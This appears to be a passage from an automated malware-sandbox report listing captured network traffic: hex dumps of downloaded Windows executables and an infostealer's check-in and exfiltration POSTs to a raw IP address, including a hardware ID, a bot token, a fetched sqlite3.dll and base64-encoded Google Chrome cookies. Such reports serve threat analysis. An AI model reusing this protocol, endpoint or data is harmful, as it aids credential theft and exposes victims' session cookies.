Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 01:19:20 GMTContent-Type: application/octet-streamContent-Length: 1910272Last-Modified: Sat, 27 Jul 2024 00:39:18 GMTConnection: keep-aliveETag: "66a441b6-1d2600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 10 41 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 d0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4c 00 00 04 00 00 76 c6 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 b9 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 b8 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6e 76 64 6c 61 70 66 69 00 10 1a 00 00 b0 31 00 00 0c 1a 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 61 73 69 79 6c 67 72 00 10 00 00 00 c0 4b 00 00 06 00 00 00 fe 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4b 00 00 22 00 00 00 04 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 01:19:22 GMTContent-Type: application/octet-streamContent-Length: 1931776Last-Modified: Sat, 27 Jul 2024 00:39:53 GMTConnection: keep-aliveETag: "66a441d9-1d7a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 be 40 a2 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 00 70 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 4c 00 00 04 00 00 7d a3 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 5c 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 5c 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 50 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 68 65 63 6d 6b 6d 78 00 60 1a 00 00 00 32 00 00 60 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 6b 69 6a 61 69 7a 74 00 10 00 00 00 60 4c 00 00 04 00 00 00 54 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4c 00 00 22 00 00 00 58 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 01:19:34 GMTContent-Type: application/octet-streamContent-Length: 250368Last-Modified: Sat, 27 Jul 2024 00:50:14 GMTConnection: keep-aliveETag: "66a44446-3d200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 54 67 94 73 10 06 fa 20 10 06 fa 20 10 06 fa 20 7f 70 51 20 0b 06 fa 20 7f 70 64 20 00 06 fa 20 7f 70 50 20 74 06 fa 20 19 7e 69 20 1b 06 fa 20 10 06 fb 20 64 06 fa 20 7f 70 55 20 11 06 fa 20 7f 70 60 20 11 06 fa 20 7f 70 67 20 11 06 fa 20 52 69 63 68 10 06 fa 20 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 2c 7f 18 65 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 1a 02 00 00 78 03 02 00 00 00 00 e9 20 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 05 02 00 04 00 00 9a 07 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 58 02 00 78 00 00 00 00 c0 04 02 08 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 5c 59 02 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 53 02 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 02 00 bc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 70 18 02 00 00 10 00 00 00 1a 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e8 32 00 00 00 30 02 00 00 34 00 00 00 1e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 2e 02 02 00 70 02 00 00 dc 00 00 00 52 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 63 61 73 69 77 69 64 d3 02 00 00 00 a0 04 02 00 04 00 00 00 2e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 6d 75 66 75 00 00 00 00 04 00 00 00 b0 04 02 00 04 00 00 00 32 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 08 9a 00 00 00 c0 04 02 00 9c 00 00 00 36 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 27 Jul 2024 01:19:37 GMTContent-Type: application/octet-streamContent-Length: 3278336Last-Modified: Sat, 27 Jul 2024 00:38:28 GMTConnection: keep-aliveETag: "66a44184-320600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 66 41 a4 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 c6 08 00 00 00 00 00 2c 58 af 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 af 00 00 04 00 00 19 a0 12 00 02 00 40 80 00 00 80 00 00 20 00 00 00 00 80 00 00 20 00 00 00 00 00 00 10 00 00 00 50 a0 8c 00 f4 0c 00 00 44 ad 8c 00 4c 04 00 00 00 d0 12 00 e8 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 a0 8c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 8c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 09 00 00 10 00 00 00 00 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 03 00 00 c0 09 00 00 f2 00 00 00 04 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 0c 00 00 04 00 00 00 f6 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 10 05 00 00 40 0d 00 00 f6 04 00 00 fa 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 50 12 00 00 62 00 00 00 f0 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 90 00 00 00 d0 12 00 00 8e 00 00 00 52 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 10 79 00 00 60 13 00 00 28 03 00 00 e0 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 00 23 00 00 70 8c 00 00 fe 22 00 00 08 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 85.28.47.31Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEHCAKFBGDGCAAAFBGHost: 85.28.47.31Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 43 39 33 46 38 45 45 43 36 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 69 6c 61 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 48 43 41 4b 46 42 47 44 47 43 41 41 41 46 42 47 2d 2d 0d 0a Data Ascii: ------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="hwid"6C93F8EEC6E91041095265------BKJEHCAKFBGDGCAAAFBGContent-Disposition: form-data; name="build"sila------BKJEHCAKFBGDGCAAAFBG--
Source: global traffic HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGHJKFHJJJKJJJJKEHCBHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 4a 4a 4a 4b 45 48 43 42 2d 2d 0d 0a Data Ascii: ------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------EGHJKFHJJJKJJJJKEHCBContent-Disposition: form-data; name="message"browsers------EGHJKFHJJJKJJJJKEHCB--
Source: global traffic HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAKFBKEHDBGHJJKFIEGDHost: 85.28.47.31Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 4b 46 42 4b 45 48 44 42 47 48 4a 4a 4b 46 49 45 47 44 2d 2d 0d 0a Data Ascii: ------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------BAKFBKEHDBGHJJKFIEGDContent-Disposition: form-data; name="message"plugins------BAKFBKEHDBGHJJKFIEGD--
Source: global traffic HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIDAECGDAFBAAAAAECGIHost: 85.28.47.31Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 44 41 45 43 47 44 41 46 42 41 41 41 41 41 45 43 47 49 2d 2d 0d 0a Data Ascii: ------GIDAECGDAFBAAAAAECGIContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------GIDAECGDAFBAAAAAECGIContent-Disposition: form-data; name="message"fplugins------GIDAECGDAFBAAAAAECGI--
Source: global traffic HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCBKECAKFBGCAKECGIEHost: 85.28.47.31Content-Length: 7979Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /8405906461a5200c/sqlite3.dll HTTP/1.1Host: 85.28.47.31Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGIJDBAFCBAAKECGDGCHost: 85.28.47.31Content-Length: 751Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 4c 6d 64 76 62 32 64 73 5a 53 35 6a 62 32 30 4a 52 6b 46 4d 55 30 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 7a 45 79 4d 6a 6b 77 4f 44 41 79 43 55 35 4a 52 41 6b 31 4d 54 45 39 56 55 4a 6c 54 6b 4e 72 57 6a 4e 4d 4f 48 6c 59 59 33 67 34 63 57 67 30 53 6b 5a 56 57 47 74 33 61 30 35 44 4f 55 6c 79 5a 47 6c 53 5a 47 4a 71 55 31 52 71 63 56 4e 70 52 6d 67 34 56 33 4a 53 59 32 4a 4c 63 6c 39 79 54 30 70 69 5a 30 68 5a 4e 6c 52 42 4e 46 4a 55 4c 54 5a 77 63 7a 42 69 61 47 56 74 5a 6e 64 44 55 45 4a 7a 54 45 31 6e 55 46 51 33 4c 57 64 55 59 31 64 78 53 48 5a 61 64 6c 70 69 59 57 5a 50 63 47 74 78 55 6e 6b 77 5a 45 78 35 57 55 63 35 51 57 70 51 4d 6e 5a 69 56 55 4a 76 62 57 46 79 62 6d 4d 35 63 47 4e 61 56 6d 78 6f 53 47 74 56 5a 56 56 68 56 30 31 31 63 6b 51 77 52 30 64 59 65 56 63 77 4e 56 39 43 58 7a 46 4a 65 56 56 4f 57 55 56 46 54 47 31 35 63 56 4a 6e 43 69 35 6e 62 32 39 6e 62 47 55 75 59 32 39 74 43 56 52 53 56 55 55 4a 4c 77 6c 47 51 55 78 54 52 51 6b 78 4e 6a 6b 35 4d 44 63 78 4e 6a 51 77 43 54 46 51 58 30 70 42 55 67 6b 79 4d 44 49 7a 4c 54 45 77 4c 54 41 31 4c 54 41 32 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 49 4a 44 42 41 46 43 42 41 41 4b 45 43 47 44 47 43 2d 2d 0d 0a Data Ascii: ------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="token"a57289b7f79e0f7ca4f009fe039b23870facbda67ea3ff49d03d9e95fcce1b644ddc3074------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FCGIJDBAFCBAAKECGDGCContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjkwODAyCU5JRAk1MTE9VUJlTkNrWjNMOHlYY3g4cWg0SkZVWGt3a05DOUlyZGlSZGJqU1RqcVNpRmg4V3JSY2JLcl9yT0piZ0hZNlRBNFJULTZwczBiaGVtZndDUEJzTE1nUFQ3
Source: global traffic HTTP traffic detected: POST /5499d72b3a3e55be.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFCFBAAEHCFHJJKEHJKJHost: 85.28.47.31Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 35 37 32 38 39 62 37 66 37 39 65 30 66 37 63 61 34 66 30 30 39 66 65 30 33 39 62 32 33 38 37 30 66 61 63 62 64 61 36 37 65 61 33 66 66 34 39 64 30 33 64 39 65 39 35 66 63 63 65 31 62 36 34 34 64 64 63 33 30 37 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 43 46 42 41 41 45 48 43 46 48 4a 4a 4b 45 48 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 